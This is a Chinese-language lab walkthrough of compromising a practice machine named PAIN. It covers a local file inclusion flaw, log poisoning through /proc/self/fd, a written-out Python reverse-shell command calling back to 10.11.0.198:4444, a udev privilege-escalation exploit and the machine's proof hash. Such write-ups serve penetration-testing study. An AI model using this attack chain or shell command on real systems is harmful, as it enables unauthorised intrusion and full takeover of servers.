PAIN这台机子是真的挺痛苦的

先感谢OS-19168为我提供了宝贵的信息。

参考链接:https://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/

首先NMAP扫一下,发现这台机子只开了443和22端口。

https://10.11.1.35访问一下,发现存在一个未搭建完毕的web站点。

观察源码,东看西看一下

发现了几个很敏感的链接 https://10.11.1.35/section.php?page=alldocs

一眼看上去就有LFI漏洞,因为alldocs不存在.php所以需要%00来截断一下

https://10.11.1.35/section.php?page=../../../../../../../etc/passwd%00

果不其然哈。

后来按照常规思路,是要向apache日志文件里写恶意代码,但是过程中有很多问题。

第一点,无论是nc还是telnet,向443端口倒恶意代码的时候,服务器端都没返回信息,实际上是因为ssl的原因没有导入成功的。

所以实际上需要burpsuit带headers来导入。

第二点,日志文件不在常规目录,或者说apache没有权限访问。所以无法包含日志文件。

这边参考了OS-19168提供的文章,发现了一个必须要有Linux内核知识才了解的骚套路。

Linux内核通过每个进程ID的proc条目向用户模式输出关于单个进程的一些有趣信息。 它还创建了一个名为“self”的条目,它提供了一个可以轻松访问其自己的流程信息的进程。

也就是说,网页服务器日志信息是通过一个进程不断地写入到日志文件的,而万物皆为文件的linux系统,这个进程也可以被当成文件访问。

一般来说这些进程的地址是/proc/self/fd/xxxxx/

我们可以尝试包含这些个进程文件,当然几号进程不可能知道,只能一个一个去试,这台机子的网页日志进程大概就是12,13的样子。

可以看到,这次12号进程就是网页日志文件。

我们通过Burpsuit向他发送php恶意代码

发送完成之后,就能给目标服务器发送cmd了

https://10.11.1.35/section.php?page=/proc/self/fd/13/%00&cmd=python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.11.0.198”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

我们这边给目标服务器发送一个python的返回shell的代码。

可以看到成功的拿了web shell。

接下来就是提权,进入到/tmp目录里下载linuxprivchecker,然后运行一下,扫出发现了俩提权洞,实际上是同一个漏洞。一个是sh脚本,一个是c语言的程序。

The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system - 2.6 UDEV < 141 Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8572 || Language=c - 2.6 UDEV Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8478 || Language=bash

这边用这个sh脚本文件,c的那个好像有问题。

因为目标机器上没安装gcc,所以必须手动离岸编译,很鸡儿麻烦。

另外脚本文件得手动改下,不知道是版本是版本问题还是什么,gcc命令有些参数反了。8478<<这边是我修改好的文件。

把所有东西在攻击机上编译好,脚本会在/tmp文件生成三个文件,一个suid,一个udev,一个libno_ex.so.1.0

把这三个文件下载到目标机器上的同目录下,权限改好,然后再目标机器上执行

cat /proc/net/netlink查看一下udev的进程PID,把PID作为参数

下载三个文件

执行权限提升脚本文件。

得等好一会才能出来权限。

get root shell√

proof.txt 3f7d652a3efb59d0631771f65c65ba07

HELL OF A RIDE!!!